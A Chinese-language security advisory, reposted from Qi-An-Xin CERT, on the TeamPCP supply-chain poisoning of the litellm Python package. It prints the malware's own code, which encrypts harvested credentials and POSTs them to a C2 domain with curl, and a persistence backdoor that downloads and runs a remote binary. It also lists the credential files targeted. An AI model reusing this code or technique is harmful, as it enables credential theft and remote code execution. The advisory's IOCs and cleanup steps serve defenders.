【安全风险预警】接入开源AI组件企业速自查,AI供应链投毒风险来袭

admin 2026-03-30 00:27:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露TeamPCP组织针对litellmPython包的供应链攻击事件,通过入侵Trivy窃取PyPI令牌后上传恶意版本,利用.pth文件和代码注入植入后门,广泛窃取系统凭证、云服务密钥、K8s配置等敏感信息。文章详述攻击链与技术细节,提供IOC清单及应急处置手册,建议受影响企业立即排查、隔离清理并检查K8s集群。 综合评分: 90 文章分类: 供应链安全,威胁情报,漏洞预警,应急响应,AI安全


cover_image

【安全风险预警】接入开源 AI 组件企业速自查,AI 供应链投毒风险来袭

奇安信 CERT

2026年3月25日 20:36 江苏

发布日期:2026年3月25日 事件等级:🔴 严重(Critical) 攻击者:TeamPCP(疑似有组织威胁团伙) 影响范围:全球所有使用 litellm Python 包的开发者和企业(月下载量 9500 万+)


📌 事件概述

2026年3月24日,开源 AI 网关项目 litellm 遭遇严重的供应链攻击。版本 1.82.7 和 1.82.8 被植入恶意代码,这是 TeamPCP 威胁团伙在 5 天内发起的第三次攻击,前两次分别为 Trivy 和 Checkmarx/KICS。

⚠️ 关键特征

  • • 恶意版本在 GitHub 上没有对应的标签或发布记录
  • • 二次供应链攻击:Trivy 被入侵 → 窃取 litellm 的 PyPI 令牌 → 上传恶意包
  • • 攻击者使用与 npm 攻击完全相同的 Python 后门脚本

⏱️ 完整攻击时间线(TeamPCP 供应链战役)

| 日期 | 目标 | 攻击手段 | 影响 | | — | — | — | — | | 3月19日 | Trivy (Aqua Security) | 伪造提交至 GitHub Actions,冒充开发者身份 | 窃取 CI/CD 密钥,劫持 75 个标签,破坏 44 个仓库 | | 3月21日 | Checkmarx AST | 相同的凭证窃取模式注入 GitHub Action | 收集更多 CI/CD 管道密钥 | | 3月23日 | C2 域名注册 | 注册 litellm.cloud 域名(Spaceship, Inc.) | 为后续数据外联做准备 | | 3月24日 10:52 | litellm 1.82.8 | 使用窃取的 PyPI 令牌直接上传 | 全平台凭证窃取 + K8s 横向移动 | | 3月24日 | litellm 1.82.7 | 同样被确认包含恶意代码(不同注入方式) | 触发条件:import litellm.proxy | | 3月24日 12:30 | 确认 1.82.7 也被污染 | 社区确认双版本受影响 | 影响范围扩大 | | 3月24日 13:03 | GitHub Issue 被操控 | 攻击者关闭官方 Issue 并用机器人刷屏 | 试图压制安全讨论 | | 3月24日 20:15 | PyPI 响应 | 下架恶意版本,解除隔离 | 整个 litellm 包曾短暂不可用 |

攻击策略分析:TeamPCP 采用阶梯式攻击,先入侵安全扫描工具(Trivy),利用其高权限收集凭证,再用这些凭证入侵下游基础设施(litellm),形成连锁反应


🦠 技术细节与攻击机制

版本差异对比

| 版本 | 触发机制 | 植入位置 | 触发条件 | 危害等级 | | — | — | — | — | — | | 1.82.7 | proxy_server.py 注入 | litellm/proxy/proxy_server.py 第 128-139 行 | import litellm.proxy | ⚠️ 高 | | 1.82.8 | .pth 文件机制 | litellm_init.pth (34,628 字节) | 任意 Python 启动 (无需导入) | 🔴 严重 |

1.82.8 的特殊危险性.pth 文件在 Python 解释器启动时自动执行,意味着即使不使用 litellm,只要环境中安装了该包,运行任何 Python 脚本都会触发恶意代码。

三阶段攻击流程详解

Stage 1 – 引导阶段(Bootstrap)

植入位置litellm_init.pth 和 proxy_server.py

执行流程

  1. 1. Base64 编码的 payload 直接嵌入在文件中
  2. 2. 导入/执行时解码 payload 到临时文件
  3. 3. 通过 subprocess.run([sys.executable, p]) 立即触发下一阶段

关键代码片段(数据加密与外联):

# 使用 OpenSSL 进行 AES-256-CBC + RSA-4096 加密
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
                "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
                "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"],
                check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

# 外联至 C2 服务器
subprocess.run([
    "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
    "https://models[.]litellm[.]cloud/",
    "-H", "Content-Type: application/octet-stream",
    "-H", "X-Filename: tpcp.tar.gz",
    "--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)

技术特点

  • • 使用非对称加密(RSA-4096),只有攻击者持有私钥可解密
  • • 通过 subprocess 执行收集器,捕获 stdout 后加密发送
  • • C2 地址:hxxps[:]//models[.]litellm[.]cloud/

Stage 2 – 凭证收集器(Credential Harvester)

触发条件:从 Base64 解码后执行

收集范围

| 类别 | 具体目标 | | — | — | | 系统侦察 | hostname, whoami, uname -a, IP 地址, 路由表, 完整环境变量 (printenv) | | SSH 密钥 | id_rsaid_ed25519id_ecdsaid_dsaauthorized_keysknown_hostsconfig(所有用户目录 + /root);SSH 主机密钥(/etc/ssh) | | Git 凭证 | .git-credentials.gitconfig | | AWS | ~/.aws/credentials~/.aws/configAWS_* 环境变量, EC2 IMDSv2 角色凭证, ECS 容器凭证, Secrets Manager 密钥(列出+获取值), SSM 参数 | | GCP | ~/.config/gcloud/*application_default_credentials.jsonGOOGLE_APPLICATION_CREDENTIALS 文件 | | Azure | ~/.azure/*AZURE_* 环境变量 | | Kubernetes | ~/.kube/config , 服务账号令牌 + CA 证书, 所有命名空间的所有 SecretKUBE_*/K8S_* 环境变量, kubectl get secrets 输出 | | Docker | ~/.docker/config.json (仓库凭证), /kaniko/.docker/config.json | | 环境文件 | .env.env.local.env.production.env.development.env.staging.env.test(CWD、父目录、/app 及常见根目录递归) | | 数据库凭证 | .pgpassmy.cnfredis.conf.mongorc.jsDB_*/DATABASE_*/MYSQL_*/POSTGRES_*/MONGO_*/REDIS_*/VAULT_* 环境变量 | | CI/CD & IaC | terraform.tfvarsterraform.tfstate.gitlab-ci.yml.travis.ymlJenkinsfile.drone.ymlansible.cfg, Helm 配置 | | TLS/SSL 私钥 | .pem.key.p12.pfx 文件(/etc/ssl/private, /etc/letsencrypt 及常见根目录) | | 认证令牌 | .npmrc.vault-token.netrc, LDAP 配置, Postfix SASL 密码 | | Shell 历史 | .bash_history.zsh_history.sh_history.mysql_history.psql_history.rediscli_history | | VPN | WireGuard 配置(/etc/wireguard/*.conf), wg showconf 输出 | | Webhook & API 密钥 | Slack/Discord Webhook URL, .env*.json.yml.yaml 文件中的 API 密钥/Secret | | 加密货币钱包 | Bitcoin (wallet.datbitcoin.conf), Ethereum (keystore), Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero 配置;Solana 密钥对(validator, vote, stake, identity, faucet, withdrawer);Cardano 签名/验证密钥;Anchor 项目部署密钥 | | 系统认证 | /etc/passwd/etc/shadow, 认证日志(accepted logins) |

Kubernetes 横向移动

  • • 若检测到 K8s 服务账号令牌,枚举所有 K8s 节点
  • • 在每个节点的 kube-system 命名空间部署特权 Podnode-setup-*
  • • 每个 Pod 挂载主机文件系统到 /,通过 chroot 投放 Stage 3 持久化后门

本地持久化

  • • 安装 Stage 3 后门为 systemd 用户服务sysmon.service

Stage 3 – 持久化后门(sysmon.py)

安装位置~/.config/sysmon/sysmon.py

注册服务System Telemetry Service(systemd 用户服务)

关键代码片段

req = urllib.request.Request("https[:]//checkmarx[.]zone/raw",
                              headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
    link = r.read().decode('utf-8').strip()
    if link and "youtube.com" not in l:  # Kill Switch:检查是否为 YouTube 链接
       urllib.request.urlretrieve(l, TARGET)
       os.chmod(TARGET, 0o755)
       subprocess.Popen([TARGET], stdout=subprocess.DEVNULL,
                         stderr=subprocess.DEVNULL, start_new_session=True)

执行流程

  1. 1. 初始休眠:300 秒(5 分钟)
  2. 2. 无限循环
  • • 每 3000 秒(50 分钟) 轮询 hxxrs[:]//checkmarx[.]zone/raw 获取下载 URL
  • • 下载二进制文件到 /tmp/pglog,标记为可执行(755)
  • • 在独立会话中运行(start_new_session=True
  • • Kill Switch:检查响应是否包含 youtube.com(如果是则不执行)
  • • 在 /tmp/.pg_state 中跟踪最后获取的 URL,避免重复下载

技术特点

  • • 使用 urllib 而非 requests,减少依赖
  • • User-Agent 伪装:Mozilla/5.0
  • • 分离会话start_new_session=True 确保进程独立于父进程
  • • 服务器目前返回 URL 链接作为占位符,攻击者可随时推送真实的第二阶段 payload

意外发现的”Bug”

恶意代码中存在一个fork bomb 漏洞.pth 文件触发子进程,子进程再次触发 .pth,形成指数级进程爆炸。FutureSearch 的 Callum McMahon 因此发现机器崩溃,从而揭露了此次攻击。


🎯 入侵指标(IOC)清单

🔴 网络指标(立即封禁)

| 类型 | 指标 | 用途 | 备注 | | — | — | — | — | | C2 外联 | models[.]litellm[.]cloud | 主要数据外联地址 | POST 请求,Content-Type: application/octet-stream,X-Filename: tpcp.tar.gz | | C2 控制 | checkmarx[.]zone | 持久化后门控制 | 每 50 分钟轮询,可能返回 YouTube 链接(Kill Switch) | | Payload 获取 | checkmarx[.]zone/raw | 下载后续恶意二进制 | 目前返回占位符 URL | | AWS 元数据 | 169.254.169.254 | 窃取 EC2 实例凭证 | 访问 IMDSv2 端点 |

🔴 文件系统指标

| 路径/文件 | SHA-256 哈希值 | 描述 | | — | — | — | | litellm_init.pth | ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg | 恶意 .pth 启动文件(34,628 字节) | | litellm-1.82.8-py3-none-any.whl | d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb | 完整恶意包 | | litellm-1.82.7-py3-none-any.whl | 8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2 | 完整恶意包 | | proxy_server.py (被篡改) | a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b | 1.82.7 注入点 | | ~/.config/sysmon/sysmon.py | – | 持久化后门脚本 | | ~/.config/systemd/user/sysmon.service | – | Systemd 持久化服务(”System Telemetry Service”) | | /tmp/pglog | – | 下载的恶意二进制(第二阶段 payload) | | /tmp/.pg_state | – | C2 状态跟踪文件(记录最后获取的 URL) | | tpcp.tar.gz | – | 外联数据包文件名(TeamPCP 标识) |

🔴 Kubernetes 指标

| 指标 | 描述 | | — | — | | Pod 名称模式 | node-setup-* | | 命名空间 | kube-system | | 镜像 | alpine:latest | | 特权配置 | hostPID: truehostNetwork: trueprivileged: true | | 挂载点 | 主机文件系统挂载至 /host(通过 chroot 进入) | | 后门路径 | /root/.config/sysmon/sysmon.py (节点上) |

🔴 进程/服务指标

| 指标 | 描述 | | — | — | | 服务名 | System Telemetry Service | | 轮询间隔 | 3000 秒(50 分钟) | | 启动延迟 | 300 秒(5 分钟) | | Kill Switch | 检查响应中是否包含 youtube.com | | 用户代理 | Mozilla/5.0 |


🛡️ 应急处置手册

第一步:紧急自查(5 分钟内)

# 1. 检查 litellm 版本
pip show litellm | grep Version

# 2. 查找恶意 .pth 文件(关键!)
find /usr -name "litellm_init.pth" 2>/dev/null
find ~/.cache/uv -name "litellm_init.pth" 2>/dev/null
find ~/.local -name "litellm_init.pth" 2>/dev/null

# 3. 检查持久化后门
ls -la ~/.config/sysmon/ 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null
systemctl --user status sysmon.service 2>/dev/null

# 4. 检查临时文件
ls -la /tmp/pglog /tmp/.pg_state 2>/dev/null

# 5. 检查网络连接(查看是否有到恶意域名的连接)
netstat -an | grep -E "(models\.litellm\.cloud|checkmarx\.zone)"
lsof -i | grep -E "(models\.litellm\.cloud|checkmarx\.zone)"

第二步:隔离与清理

# 1. 立即卸载恶意版本
pip uninstall litellm -y

# 2. 清理所有 Python 缓存
pip cache purge
rm -rf ~/.cache/uv/archive-v0/*  # 如使用 uv
find ~/.cache/pip -name "*litellm*" -exec rm -rf {} + 2>/dev/null

# 3. 删除持久化组件(如存在)
systemctl --user stop sysmon.service 2>/dev/null
systemctl --user disable sysmon.service 2>/dev/null
rm -rf ~/.config/sysmon/
rm -f ~/.config/systemd/user/sysmon.service
rm -f /tmp/pglog /tmp/.pg_state

# 4. 重新加载 systemd
systemctl --user daemon-reload

第三步:Kubernetes 专项排查

# 1. 检查可疑 Pod
kubectl get pods -n kube-system | grep node-setup

# 2. 如发现,立即删除并审查
kubectl delete pod -n kube-system <pod-name>
kubectl describe pod -n kube-system <pod-name>&nbsp; # 取证

# 3. 检查集群密钥访问记录
kubectl get events -n kube-system --field-selector reason=SecretAccess

# 4. 审查所有节点上的后门
# 需逐节点执行:
ls&nbsp;-la /root/.config/sysmon/ 2>/dev/null

# 5. 检查 Secret 访问日志
kubectl audit-log | grep -E&nbsp;"(list|get)"&nbsp;| grep secrets

第四步:全网威胁狩猎

# 在 CI/CD 服务器、开发机、生产环境批量执行:

# 搜索恶意文件指纹
find / -name&nbsp;"litellm_init.pth"&nbsp;-o -name&nbsp;"sysmon.py"&nbsp;2>/dev/null | grep -E&nbsp;"(litellm_init|sysmon)"

# 检查 DNS 查询日志(如有)
# 查找对 models.litellm.cloud 或 checkmarx.zone 的解析记录

# 检查进程树中异常 Python 进程
pstree -p | grep -i python

# 检查 systemd 用户服务
systemctl --user list-units --type=service | grep -i sysmon

🔐 后续加固建议

立即执行(24 小时内)

| 优先级 | 行动项 | 范围 | | — | — | — | | P0 | 轮换所有凭证 | SSH 密钥、云访问密钥、数据库密码、API 密钥、K8s 令牌、GitHub PAT | | P0 | 审查云访问日志 | AWS CloudTrail、GCP Audit Logs、Azure Activity Log(3月24日至今) | | P0 | 封禁 IOC | 在 DNS/防火墙层面封禁 models.litellm.cloud 和 checkmarx.zone | | P1 | 检查代码仓库 | 审查是否有异常提交、GitHub PAT 是否被滥用 | | P1 | 通知安全团队 | 启动内部安全事件响应流程 |

中期加固(1 周内)

  1. 1. 供应链安全
  • • 锁定依赖版本:pip install litellm==1.82.6(最后已知安全版本)
  • • 使用 requirements.txt 哈希校验:pip install --require-hashes
  • • 集成 pip-auditsafety 或 Snyk 到 CI/CD
  1. 2. 网络防护
  • • 监控对 169.254.169.254(云元数据端点)的异常访问
  • • 部署 DNS 过滤,阻止新注册的类似域名(*.litellm.cloud
  1. 3. K8s 安全
  • • 启用 Pod 安全策略,限制 privileged Pod 创建
  • • 审查 Service Account 权限,遵循最小权限原则
  • • 启用审计日志,监控对 kube-system 命名空间的操作
  • • 实施网络策略,限制 Pod 对外部 C2 的访问

长期策略

  • • 私有 PyPI 镜像:通过 Nexus、Artifactory 搭建内部镜像,延迟同步并审计
  • • 依赖最小化:评估是否真的需要 litellm,或仅使用特定 provider 的 SDK
  • • 供应链监控:订阅 PyPI 安全公告,使用 Dependabot 或 Renovate 监控依赖更新
  • • CI/CD 加固:实施 OIDC 而非长期凭证,启用分支保护,要求代码审查

📊 影响评估

攻击者可能窃取了约 300GB 数据,包含 50 万个凭证。litellm 作为连接 100+ LLM 提供商的网关,其用户通常持有大量高价值凭证(OpenAI、Anthropic、AWS Bedrock 等 API 密钥),这使得此次攻击的影响尤为严重。

下游影响项目(已知):

  • • browser-use:CLI 安装脚本依赖 litellm>=1.82.2
  • • crawl4ai:PyPI 版本 0.8.5 仍依赖未限制的 litellm
  • • DSPyGuardrails AIMLflow 等已紧急发布修复版本

PyPI 响应

  • • 整个 litellm 包(所有版本)曾被完全隔离
  • • 恶意版本 1.82.7 和 1.82.8 已被下架
  • • 目前包已恢复可用,但需警惕后续攻击

📞 官方资源与参考

| 资源 | 链接 | | — | — | | litellm 官方安全公告 | https://docs.litellm.ai/blog/security-update-march-2026 | | GitHub 跟踪 Issue | BerriAI/litellm#24518(时间线) | | FutureSearch 原始报告 | https://www.futuresearch.ai/ | | JFrog 技术分析 | https://research.jfrog.com/post/litellm-compromised-teampcp/ | | Endor Labs 分析 | https://www.endorlabs.com/learn/teampcp-isnt-done |

⚠️ 警告

攻击者可能随时通过 checkmarx.zone 推送真实的第二阶段 payload,请务必隔离受影响系统并持续监控。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:奇安信 CERT 《【安全风险预警】接入开源 AI 组件企业速自查,AI 供应链投毒风险来袭》

评论:0   参与:  0